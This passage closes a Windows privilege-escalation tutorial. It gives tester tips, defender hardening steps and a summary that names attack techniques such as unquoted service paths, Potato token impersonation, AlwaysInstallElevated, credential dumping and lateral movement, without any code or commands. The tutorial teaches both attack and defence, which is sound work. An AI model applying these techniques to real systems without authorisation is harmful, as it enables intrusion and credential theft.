    • Recommend specific mitigations

  4. Stay Updated:

    • New UAC bypasses discovered regularly
    • Follow security researchers (James Forshaw, Will Dormann)
    • Practice in labs (Hack The Box, TryHackMe)

For Defenders

  1. Principle of Least Privilege:

    • Run services with minimal permissions
    • Remove dangerous privileges from service accounts
    • Use Group Policy to restrict user capabilities

  2. Keep Systems Patched:

    • Enable automatic Windows updates
    • Prioritize critical security updates
    • Monitor patch compliance

  3. Harden Configurations:

    • Disable AlwaysInstallElevated
    • Remove autologon credentials
    • Audit service permissions
    • Quote all service paths

  4. Monitor and Detect:

    • Enable PowerShell logging
    • Deploy Sysmon with robust config
    • Alert on suspicious privilege use
    • Monitor LSASS access

  5. Defense in Depth:

    • Application whitelisting (AppLocker)
    • Credential Guard
    • Protected Process Light (PPL) for LSASS
    • Regular security audits

Summary

Windows privilege escalation requires:

Knowledge:

  • Understanding Windows privilege model and security tokens
  • Knowing common misconfiguration vectors
  • Familiarity with Windows internals

Enumeration:

  • Comprehensive system reconnaissance
  • Automated tools (WinPEAS, PowerUp, Seatbelt)
  • Manual verification of findings

Exploitation:

  • Service exploits (unquoted paths, weak permissions)
  • Token impersonation (Potato attacks)
  • Registry misconfigurations (AlwaysInstallElevated)
  • Credential harvesting (files, registry, memory)
  • Kernel exploits (last resort)

Post-Exploitation:

  • Establishing persistence
  • Dumping credentials
  • Lateral movement

Defense:

  • System hardening and patching
  • Least privilege principles
  • Enhanced monitoring and logging
  • Regular security audits

Mastering Windows privilege escalation enables complete compromise of initially limited access, demonstrating critical security gaps and the importance of layered defense strategies.

Resources

Up next

SUID, SGID and Sticky Bit

Understanding and exploiting special file permissions.